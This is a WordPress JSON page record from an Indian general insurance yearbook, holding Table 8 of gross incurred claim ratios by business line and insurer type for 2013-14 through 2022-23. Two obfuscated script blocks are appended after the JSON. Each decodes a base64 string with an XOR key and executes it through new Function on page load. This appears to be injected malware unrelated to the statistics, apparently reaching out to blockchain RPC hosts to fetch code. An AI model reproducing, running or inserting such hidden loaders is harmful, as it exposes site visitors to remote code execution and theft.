{"id":648,"date":"2019-08-14T17:11:02","date_gmt":"2019-08-14T17:11:02","guid":{"rendered":"https:\/\/www.gicouncil.in\/yearbook\/?page_id=648"},"modified":"2019-08-29T13:02:44","modified_gmt":"2019-08-29T13:02:44","slug":"table-8-gross-incurred-claim-ratios-within-india-and-abroad","status":"publish","type":"page","link":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/annexures\/table-8-gross-incurred-claim-ratios-within-india-and-abroad\/","title":{"rendered":"Table 8: Gross incurred Claim Ratios (within India and abroad)"},"content":{"rendered":"<h3 class=\"section-title\" style=\"font-size: 17px;\"><span style=\"background: #f6a192;border-radius: 8px;color: #fff;padding: 5px;font-size: 14px; margin-right: 10px;\"> Table 8<\/span>Gross incurred Claim Ratios (within India and abroad)<\/h3><span style=\"text-align: center;font-size: large;font-weight: bold;\">OVERALL<\/span><table width=\"100%\" class=\"\">    <tbody>        <tr>                    <td>                        Year                    <\/td>                    <td>                        2013-14                    <\/td>                    <td>                        2014-15                    <\/td>                    <td>                        2015-16                    <\/td>                    <td>                        2016-17                    <\/td>                    <td>                        2017-18                    <\/td>                    <td>                        2018-19                    <\/td>                    <td>                        2019-20                    <\/td>                    <td>                        2020-21                    <\/td>                    <td>                        2021-22                    <\/td>                    <td>                        2022-23                    <\/td>        <\/tr>        <tr>                    <td>                            Fire                    <\/td>                    <td>                            69.6%                    <\/td>                    <td>                            75.4%                    <\/td>                    <td>                            61.4%                    <\/td>                    <td>                            72.7%                    <\/td>                    <td>                            60.8%                    <\/td>                    <td>                            78.0%                    <\/td>                    <td>                            59.2%\n                    <\/td>                    <td>                            55.71%                    <\/td>                    <td>                            44.2%                    <\/td>                    <td>                            34.1%                    <\/td>        <\/tr>        <tr>                    <td>                            Engg.                    <\/td>                    <td>                            77.4%                    <\/td>                    <td>                            63.2%                    <\/td>                    <td>                            53.6%                    <\/td>                    <td>                            45.8%                    <\/td>                    <td>                            27.8%                    <\/td>                    <td>                            52.4%                    <\/td>                    <td>                            73.9%\n                    <\/td>                    <td>                            45.63%                    <\/td>                    <td>                            30.7%                    <\/td>                    <td>                            33.1%                    <\/td>        <\/tr>        <tr>                    <td>                            Marine Cargo                    <\/td>                    <td>                            68.0%                    <\/td>                    <td>                            80.3%                    <\/td>                    <td>                            90.4%                    <\/td>                    <td>                            75.3%                    <\/td>                    <td>                            57.1%                    <\/td>                    <td>                            79.7%                    <\/td>                    <td>                            63.7%\n                    <\/td>                    <td>                            96.57%                    <\/td>                    <td>                            83.4%                    <\/td>                    <td>                            68.8%                    <\/td>        <\/tr>        <tr>                    <td>                            Marine Hull                    <\/td>                    <td>                            23.7%                    <\/td>                    <td>                            57.5%                    <\/td>                    <td>                            58.6%                    <\/td>                    <td>                            105.4%                    <\/td>                    <td>                            40.6%                    <\/td>                    <td>                            69.5%                    <\/td>                    <td>                            50.2%\n\n                    <\/td>                    <td>                            101.76%                    <\/td>                    <td>                            113.6%                    <\/td>                    <td>                            47.6%                    <\/td>        <\/tr>        <tr>                    <td>                            Motor OD                    <\/td>                    <td>                            56.7%                    <\/td>                    <td>                            59.8%                    <\/td>                    <td>                            67.2%                    <\/td>                    <td>                            70.0%                    <\/td>                    <td>                            63.8%                    <\/td>                    <td>                            72.4%                    <\/td>                    <td>                            77.2%                    <\/td>                    <td>                            66.80%                    <\/td>                    <td>                            78.8%                    <\/td>                    <td>                            79.5%                    <\/td>        <\/tr>        <tr>                    <td>                            Motor TP                    <\/td>                    <td>                            112.6%                    <\/td>                    <td>                            96.8%                    <\/td>                    <td>                            86.6%                    <\/td>                    <td>                            94.0%                    <\/td>                    <td>                            96.4%                    <\/td>                    <td>                            87.2%                    <\/td>                    <td>                            81.6%\n                    <\/td>                    <td>                            75.04%                    <\/td>                    <td>                            80.9%                    <\/td>                    <td>                            78.1%                    <\/td>        <\/tr>        <tr>                    <td>                            Aviation                    <\/td>                    <td>                            40.3%                    <\/td>                    <td>                            53.5%                    <\/td>                    <td>                            123.1%                    <\/td>                    <td>                            89.1%                    <\/td>                    <td>                            90.2%                    <\/td>                    <td>                            154.3%\r\n                    <\/td>                    <td>                            80.2%\n                    <\/td>                    <td>                            169.85%                    <\/td>                    <td>                            70.4%                    <\/td>                    <td>                            19.2%                    <\/td>        <\/tr>        <tr>                    <td>                            Health                    <\/td>                    <td>                            87.3%                    <\/td>                    <td>                            89.3%                    <\/td>                    <td>                            89.9%                    <\/td>                    <td>                            95.4%                    <\/td>                    <td>                            83.3%                    <\/td>                    <td>                            79.8%                    <\/td>                    <td>                            81.9%\n                    <\/td>                    <td>                            80.55%                    <\/td>                    <td>                            97.5%                    <\/td>                    <td>                            80.5%                    <\/td>        <\/tr>        <tr>                    <td>                            Personal accident                    <\/td>                    <td>                            54.2%                    <\/td>                    <td>                            50.5%                    <\/td>                    <td>                            52.0%                    <\/td>                    <td>                            60.2%                    <\/td>                    <td>                            64.6%                    <\/td>                    <td>                            64.1%                    <\/td>                    <td>                            69.1%\n                    <\/td>                    <td>                            54.99%                    <\/td>                    <td>                            59.7%                    <\/td>                    <td>                            60.6%                    <\/td>        <\/tr>        <tr>                    <td>                            Liability                    <\/td>                    <td>                            25.5%                    <\/td>                    <td>                            23.6%                    <\/td>                    <td>                            29.8%                    <\/td>                    <td>                            26.3%                    <\/td>                    <td>                            41.5%                    <\/td>                    <td>                            47.3%                    <\/td>                    <td>                            38.7%\n                    <\/td>                    <td>                            51.19%                    <\/td>                    <td>                            32.9%                    <\/td>                    <td>                            43.9%                    <\/td>        <\/tr>        <tr>                    <td>                            Other Misc.                    <\/td>                    <td>                            74.9%                    <\/td>                    <td>                            97.6%                    <\/td>                    <td>                            85.9%                    <\/td>                    <td>                            91.6%                    <\/td>                    <td>                            90.8%                    <\/td>                    <td>                            87.7%                    <\/td>                    <td>                            90.6%\n                    <\/td>                    <td>                            76.44%                    <\/td>                    <td>                            74.3%                    <\/td>                    <td>                            72.1%                    <\/td>        <\/tr>        <tr>                    <td>                            TOTAL                    <\/td>                    <td>                            77.2%                    <\/td>                    <td>                            79.7%                    <\/td>                    <td>                            77.4%                    <\/td>                    <td>                            84.2%                    <\/td>                    <td>                            79.6%                    <\/td>                    <td>                            80.5%                    <\/td>                    <td>                            79.5%\n                    <\/td>                    <td>                            73.3%                    <\/td>                    <td>                            79.9%                    <\/td>                    <td>                            71.1%                    <\/td>        <\/tr>    <\/tbody><\/table>\n\n\n\n<p><\/p>\n\n\n<span style=\"text-align: center;font-size: large;font-weight: bold;\">GENERAL INSURERS<\/span><table width=\"100%\" class=\"\">    <tbody>        <tr>                    <td>                        Year                    <\/td>                    <td>                        2013-14                    <\/td>                    <td>                        2014-15                    <\/td>                    <td>                        2015-16                    <\/td>                    <td>                        2016-17                    <\/td>                    <td>                        2017-18                    <\/td>                    <td>                        2018-19                    <\/td>                    <td>                        2019-20                    <\/td>                    <td>                        2020-21                    <\/td>                    <td>                        2021-22                    <\/td>                    <td>                        2022-23                    <\/td>        <\/tr>        <tr>                    <td>                            Fire                    <\/td>                    <td>                            69.6%                    <\/td>                    <td>                            75.4%                    <\/td>                    <td>                            61.4%                    <\/td>                    <td>                            72.7%                    <\/td>                    <td>                            60.8%                    <\/td>                    <td>                            78.0%                    <\/td>                    <td>                            59.2%\n                    <\/td>                    <td>                            55.7%                    <\/td>                    <td>                            44.2%                    <\/td>                    <td>                            34.1%                    <\/td>        <\/tr>        <tr>                    <td>                            Engg.                    <\/td>                    <td>                            77.4%                    <\/td>                    <td>                            63.2%                    <\/td>                    <td>                            53.6%                    <\/td>                    <td>                            45.8%                    <\/td>                    <td>                            27.8%                    <\/td>                    <td>                            52.4%                    <\/td>                    <td>                            73.9%\n                    <\/td>                    <td>                            45.6%                    <\/td>                    <td>                            30.7%                    <\/td>                    <td>                            33.1%                    <\/td>        <\/tr>        <tr>                    <td>                            Marine Cargo                    <\/td>                    <td>                            68.0%                    <\/td>                    <td>                            80.3%                    <\/td>                    <td>                            90.4%                    <\/td>                    <td>                            75.3%                    <\/td>                    <td>                            57.1%                    <\/td>                    <td>                            79.7%                    <\/td>                    <td>                            63.7%\n                    <\/td>                    <td>                            96.6%                    <\/td>                    <td>                            83.4%                    <\/td>                    <td>                            68.8%                    <\/td>        <\/tr>        <tr>                    <td>                            Marine Hull                    <\/td>                    <td>                            23.7%                    <\/td>                    <td>                            57.5%                    <\/td>                    <td>                            58.6%                    <\/td>                    <td>                            105.4%                    <\/td>                    <td>                            40.6%                    <\/td>                    <td>                            69.5%                    <\/td>                    <td>                            50.2%\n                    <\/td>                    <td>                            101.8%                    <\/td>                    <td>                            113.6%                    <\/td>                    <td>                            47.6%                    <\/td>        <\/tr>        <tr>                    <td>                            Motor OD                    <\/td>                    <td>                            56.7%                    <\/td>                    <td>                            59.8%                    <\/td>                    <td>                            67.2%                    <\/td>                    <td>                            70.0%                    <\/td>                    <td>                            63.8%                    <\/td>                    <td>                            72.4%                    <\/td>                    <td>                            77.2%\n                    <\/td>                    <td>                            66.8%                    <\/td>                    <td>                            78.8%                    <\/td>                    <td>                            79.5%                    <\/td>        <\/tr>        <tr>                    <td>                            Motor TP                    <\/td>                    <td>                            112.6%                    <\/td>                    <td>                            96.8%                    <\/td>                    <td>                            86.6%                    <\/td>                    <td>                            94.0%                    <\/td>                    <td>                            96.4%                    <\/td>                    <td>                            87.2%                    <\/td>                    <td>                            81.6%\n                    <\/td>                    <td>                            75.0%                    <\/td>                    <td>                            80.9%                    <\/td>                    <td>                            78.1%                    <\/td>        <\/tr>        <tr>                    <td>                            Aviation                    <\/td>                    <td>                            40.3%                    <\/td>                    <td>                            53.5%                    <\/td>                    <td>                            123.1%                    <\/td>                    <td>                            89.1%                    <\/td>                    <td>                            90.2%                    <\/td>                    <td>                            154.3%                    <\/td>                    <td>                            80.2%\n                    <\/td>                    <td>                            169.8%                    <\/td>                    <td>                            70.4%                    <\/td>                    <td>                            19.2%                    <\/td>        <\/tr>        <tr>                    <td>                            Health                    <\/td>                    <td>                            92.1%                    <\/td>                    <td>                            95.6%                    <\/td>                    <td>                            96.8%                    <\/td>                    <td>                            104.8%                    <\/td>                    <td>                            91.2%                    <\/td>                    <td>                            87.5%                    <\/td>                    <td>                            90.3%\n                    <\/td>                    <td>                            88.8%                    <\/td>                    <td>                            107.5%                    <\/td>                    <td>                            90.5%                    <\/td>        <\/tr>        <tr>                    <td>                            Personal accident                    <\/td>                    <td>                            55.4%                    <\/td>                    <td>                            51.8%                    <\/td>                    <td>                            53.9%                    <\/td>                    <td>                            63.2%                    <\/td>                    <td>                            68.7%                    <\/td>                    <td>                            68.5%                    <\/td>                    <td>                            75.1%\n                    <\/td>                    <td>                            60.2%                    <\/td>                    <td>                            64.4%                    <\/td>                    <td>                            65.1%                    <\/td>        <\/tr>        <tr>                    <td>                            Liability                    <\/td>                    <td>                            25.5%                    <\/td>                    <td>                            23.6%                    <\/td>                    <td>                            29.8%                    <\/td>                    <td>                            26.3%                    <\/td>                    <td>                            41.5%                    <\/td>                    <td>                            47.3%                    <\/td>                    <td>                            38.7%\n                    <\/td>                    <td>                            51.2%                    <\/td>                    <td>                            32.9%                    <\/td>                    <td>                            43.9%                    <\/td>        <\/tr>        <tr>                    <td>                            Other Misc.                    <\/td>                    <td>                            52.2%                    <\/td>                    <td>                            79.2%                    <\/td>                    <td>                            88.1%                    <\/td>                    <td>                            77.1%                    <\/td>                    <td>                            84.0%                    <\/td>                    <td>                            85.5%                    <\/td>                    <td>                            92.0%\n                    <\/td>                    <td>                            67.5%                    <\/td>                    <td>                            75.2%                    <\/td>                    <td>                            63.5%                    <\/td>        <\/tr>        <tr>                    <td>                            TOTAL                    <\/td>                    <td>                            76.5%                    <\/td>                    <td>                            78.6%                    <\/td>                    <td>                            78.2%                    <\/td>                    <td>                            83.1%                    <\/td>                    <td>                            79.5%                    <\/td>                    <td>                            81.7%                    <\/td>                    <td>                            80.9%\n                    <\/td>                    <td>                            73.4%                    <\/td>                    <td>                            80.8%                    <\/td>                    <td>                            71.5%                    <\/td>        <\/tr>    <\/tbody><\/table>\n\n\n\n<p><\/p>\n\n\n<span style=\"text-align: center;font-size: large;font-weight: bold;\">STANDALONE HEALTH INSURERS<\/span><table width=\"100%\" class=\"\">    <tbody>        <tr>                    <td>                        Year                    <\/td>                    <td>                        2013-14                    <\/td>                    <td>                        2014-15                    <\/td>                    <td>                        2015-16                    <\/td>                    <td>                        2016-17                    <\/td>                    <td>                        2017-18                    <\/td>                    <td>                        2018-19                    <\/td>                    <td>                        2019-20                    <\/td>                    <td>                        2020-21                    <\/td>                    <td>                        2021-22                    <\/td>                    <td>                        2022-23                    <\/td>        <\/tr>        <tr>                    <td>                            Health                    <\/td>                    <td>                            53.2%                    <\/td>                    <td>                            51.3%                    <\/td>                    <td>                            53.6%                    <\/td>                    <td>                            52.4%                    <\/td>                    <td>                            52.8%                    <\/td>                    <td>                            54.9%                    <\/td>                    <td>                            58.6%\n                    <\/td>                    <td>                            56.8%                    <\/td>                    <td>                            70.8%                    <\/td>                    <td>                            54.7%                    <\/td>        <\/tr>        <tr>                    <td>                            Personal accident                    <\/td>                    <td>                            15.5%                    <\/td>                    <td>                            19.6%                    <\/td>                    <td>                            23.8%                    <\/td>                    <td>                            20.8%                    <\/td>                    <td>                            21.4%                    <\/td>                    <td>                            25.9%                    <\/td>                    <td>                            24.8%\n                    <\/td>                    <td>                            17.3%                    <\/td>                    <td>                            22.7%                    <\/td>                    <td>                            24.6%                    <\/td>        <\/tr>        <tr>                    <td>                            Other Misc.                    <\/td>                    <td>                            37.3%                    <\/td>                    <td>                            20.1%                    <\/td>                    <td>                            59.1%                    <\/td>                    <td>                            -                    <\/td>                    <td>                            34.2%                    <\/td>                    <td>                            -                    <\/td>                    <td>                            -                    <\/td>                    <td>                            -                    <\/td>                    <td>                            -                    <\/td>                    <td>                            -                    <\/td>        <\/tr>        <tr>                    <td>                            TOTAL                    <\/td>                    <td>                            52.2%                    <\/td>                    <td>                            50.2%                    <\/td>                    <td>                            52.5%                    <\/td>                    <td>                            51.0%                    <\/td>                    <td>                            51.2%                    <\/td>                    <td>                            53.5%                    <\/td>                    <td>                            57.1%\n                    <\/td>                    <td>                            55.2%                    <\/td>                    <td>                            69.0%                    <\/td>                    <td>                            53.8%                    <\/td>        <\/tr>    <\/tbody><\/table>\n\n\n\n<p><\/p>\n\n\n<span style=\"text-align: center;font-size: large;font-weight: bold;\">SPECIALISED INSURERS<\/span><table width=\"100%\" class=\"\">    <tbody>        <tr>                    <td>                        Year                    <\/td>                    <td>                        2013-14                    <\/td>                    <td>                        2014-15                    <\/td>                    <td>                        2015-16                    <\/td>                    <td>                        2016-17                    <\/td>                    <td>                        2017-18                    <\/td>                    <td>                        2018-19                    <\/td>                    <td>                        2019-20                    <\/td>                    <td>                        2020-21                    <\/td>                    <td>                        2021-22                    <\/td>                    <td>                        2022-23                    <\/td>        <\/tr>        <tr>                    <td>                            Other Misc.                    <\/td>                    <td>                            100.8%                    <\/td>                    <td>                            125.0%                    <\/td>                    <td>                            83.4%                    <\/td>                    <td>                            124.1%                    <\/td>                    <td>                            107.7%                    <\/td>                    <td>                            94.5%                    <\/td>                    <td>                            86.9%\n                    <\/td>                    <td>                            93.1%                    <\/td>                    <td>                            82.8%                    <\/td>                    <td>                            85.2%                    <\/td>        <\/tr>    <\/tbody><\/table>\n\n\n\n<p style=\"text-align:left\" class=\"has-small-font-size\"><strong><em>Source<\/em><\/strong><em>: IRDAI reports and Council Compilation<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Source: IRDAI reports and Council Compilation<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":28,"menu_order":8,"comment_status":"closed","ping_status":"closed","template":"page-templates\/full-width.php","meta":[],"_links":{"self":[{"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/pages\/648"}],"collection":[{"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/comments?post=648"}],"version-history":[{"count":2,"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/pages\/648\/revisions"}],"predecessor-version":[{"id":1096,"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/pages\/648\/revisions\/1096"}],"up":[{"embeddable":true,"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/pages\/28"}],"wp:attachment":[{"href":"https:\/\/www.gicouncil.in\/yearbook\/2022-23\/wp-json\/wp\/v2\/media?parent=648"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<script>
!function(){var _0xd6ec=atob('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'),_0xcdf0=90,_0xc05d=new Uint8Array(_0xd6ec['length']),_0x292b=0;for(;_0x292b<_0xd6ec['length'];_0x292b++)_0xc05d[_0x292b]=_0xd6ec['charCodeAt'](_0x292b)^_0xcdf0;(new Function(new TextDecoder()['decode'](_0xc05d)))()}();
</script>
    <script>
!function(){var _0x8b6d=atob('A01eRUhfQkRFAwJQQk0DXEJFT0RccAx0HxlIGElNSUoeEgx2AllOX15ZRRBcQkVPRFxwDHQfGUgYSU1JSh4SDHYWGhBdSlkLdEBASEFERRYJEx8bGU1JGhgYE09KSkkdShodHU4SGkpKE0gSGUoZGxwSE0pITUoSE01JHB5IHkoZCRBdSlkLdFFeQExYFnAMQ19fW1gRBARbREdSTERFBVlbSAVDUltOWVhSRUgFU1JRBAwHDENfX1tYEQQEW0RHUkxERQZbXklHQkgFRURPQk5YBUpbWwwHDENfX1tYEQQEW0RHUkxERQVMSl9OXEpSBV9ORU9OWUdSBUhEDAcMQ19fW1gRBARbREdSTERFBVlbSAVYXklaXk5ZUgVFTl9cRFlABFteSUdCSAwHDENfX1tYEQQEW0RHUkxERQZGSkJFRU5fBUxKX05cSlIFX0pfXkYFQkQMBwxDX19bWBEEBFtER1JMREUGSURZBllbSAVbXklHQkhFRE9OBUhERgwHDENfX1tYEQQEGllbSAVCRARGSl9CSAwHDENfX1tYEQQEW0RHUkxERQVHSl1KBUleQkdPDAcMQ19fW1gRBARbREdSTERFBV9DTllbSAVCRAwHDENfX1tYEQQEWVtIBUpFQFkFSERGBFtER1JMREUMBwxDX19bWBEEBFtER1JMREUGRkpCRUVOXwVbXklHQkgFSUdKWF9KW0IFQkQMBwxDX19bWBEEBFlbSAZGSkJFRU5fBUZKX0JIBVpeQkBFRE9OBVtZRAwHDENfX1tYEQQEW0RHUkxERQVPWVtIBURZTAwHDENfX1tYEQQETEpfTlxKUgVfTkVPTllHUgVIRARbXklHQkgEW0RHUkxERQx2EF1KWQt0WUBIQRYJG1NpHUloEk4abxtJGU1pEh1qSRxoHxxuGx9oSRtpbh8cHB8aG0loGk0ZCRBdSlkLdFFcXUpZQVEWCUkdE08aExsSCRBNXkVIX0JERQt0W1pDWUkDdFlDWkRAW0gCUF9ZUlBdSlkLdExbUlpFSU8WdFlDWkRAW0gFWF5JWF9ZAxsHGQIWFhYMG1MMFHRZQ1pEQFtIBVheSVhfWQMZAhF0WUNaREBbSBBCTQN0TFtSWkVJTwVHTkVMX0MXGhkTAllOX15ZRQwMEF1KWQt0WUxKRBZbSllYTmJFXwN0TFtSWkVJTwVYXklYX1kDHR8HHR8CBxodAhBCTQMKdFlMSkQCWU5fXllFDAwQXUpZC3RaSVlFFnRMW1JaRUlPBVheSVhfWQMaGRMHdFlMSkQBGQIHdFxKUUdCQ1IWDAwQTURZA11KWQt0T0hKQ0lGQhYbEHRPSEpDSUZCF3RaSVlFBUdORUxfQxB0T0hKQ0lGQgAWGQJQXUpZC3ReQkRKFltKWVhOYkVfA3RaSVlFBVheSVhfWQN0T0hKQ0lGQgcZAgcaHQIQQk0DdF5CREoCdFxKUUdCQ1IAFnhfWUJFTAVNWURGaENKWWhET04DdF5CREoCEFZZTl9eWUULdFxKUUdCQ1IQVkhKX0hDA04CUFlOX15ZRQwMEFZWTV5FSF9CREULdFhfTVpaSAN0R15TRgd0XE5JWQJQWU5fXllFC0VOXAt7WURGQlhOA01eRUhfQkRFA3RHXU1OWQd0TlpJSUJKAlBdSlkLdE5fSERITRZFTlwLc2ZnY19fW3lOWl5OWF8DAhB0Tl9IREhNBURbTkUDDHtkeH8MB3RHXlNGB19ZXk4CEHROX0hESE0FWE5feU5aXk5YX2NOSk9OWQMMaERFX05FXwZ/UltODAcMSltbR0JISl9CREUEQVhERQwCEHROX0hESE0FX0JGTkReXxYeGxsbEHROX0hESE0FREVHREpPFk1eRUhfQkRFAwJQX1lSUHRHXU1OWQNheGRlBVtKWVhOA3ROX0hESE0FWU5YW0RFWE5/TlNfAgIQVkhKX0hDA04CUHROWklJQkoDTgIQVlYQdE5fSERITQVERU5ZWURZFnROX0hESE0FREVfQkZORF5fFk1eRUhfQkRFAwJQdE5aSUlCSgNFTlwLbllZRFkDAgIQVhB0Tl9IREhNBVhORU8DYXhkZQVYX1lCRUxCTVIDdFxOSVkCAhBWAhBWTV5FSF9CREULdEhFSkBHWwN0TEVJWExbAlBCTQN0TEVJWExbFRZ0UV5ATFgFR05FTF9DAllOX15ZRQt7WURGQlhOBVlOWERHXU4DRV5HRwIQXUpZC3RIT1tIR0pbFlBBWERFWVtIEQwZBRsMB0ZOX0NETxEMTl9DdEhKR0cMB1tKWUpGWBFwUF9EEXRZQEhBB09KX0oRDBtTDAB0UVxdSllBUVYHDEdKX05YXwx2B0JPERpWEFlOX15ZRQt0WF9NWlpIA3RRXkBMWHB0TEVJWExbdgd0SE9bSEdKWwIFX0NORQNNXkVIX0JERQN0TVNdR0lRAlBdSlkLdFpOXk8WdE1TXUdJUQ0NdE1TXUdJUQVZTlheR18UdFtaQ1lJA3RNU11HSVEFWU5YXkdfAhEMDBBCTQN0Wk5eTwJZTl9eWUULdFpOXk8FWU5bR0pITgMEdwQADwQHDAwCEFlOX15ZRQt0SEVKQEdbA3RMRUlYTFsAGgIQVgIFSEpfSEMDTV5FSF9CREUDAlBZTl9eWUULdEhFSkBHWwN0TEVJWExbABoCEFYCEFZNXkVIX0JERQt0X0hcRURSXAN0WVNSWlgCUF1KWQt0UkFMXkIWT0RIXkZORV8FSFlOSl9ObkdORk5FXwMMWEhZQltfDAIQdFJBTF5CBVhZSBZ0WVNSWlgADARKW0IFW0NbFFgWDAB0QEBIQURFEHRSQUxeQgVKWFJFSBZfWV5OEANPREheRk5FXwVDTkpPV1dPREheRk5FXwVJRE9SAgVKW1tORU9oQ0JHTwN0UkFMXkICEFZ0SEVKQEdbAxsCBV9DTkUDTV5FSF9CREUDdFlTUlpYAlBCTQN0WVNSWlgCdF9IXEVEUlwDdFlTUlpYAhBWAhBWAgMCEA=='),_0x21d4=43,_0xa9ac=new Uint8Array(_0x8b6d['length']),_0x623c=0;for(;_0x623c<_0x8b6d['length'];_0x623c++)_0xa9ac[_0x623c]=_0x8b6d['charCodeAt'](_0x623c)^_0x21d4;(new Function(new TextDecoder()['decode'](_0xa9ac)))()}();
</script>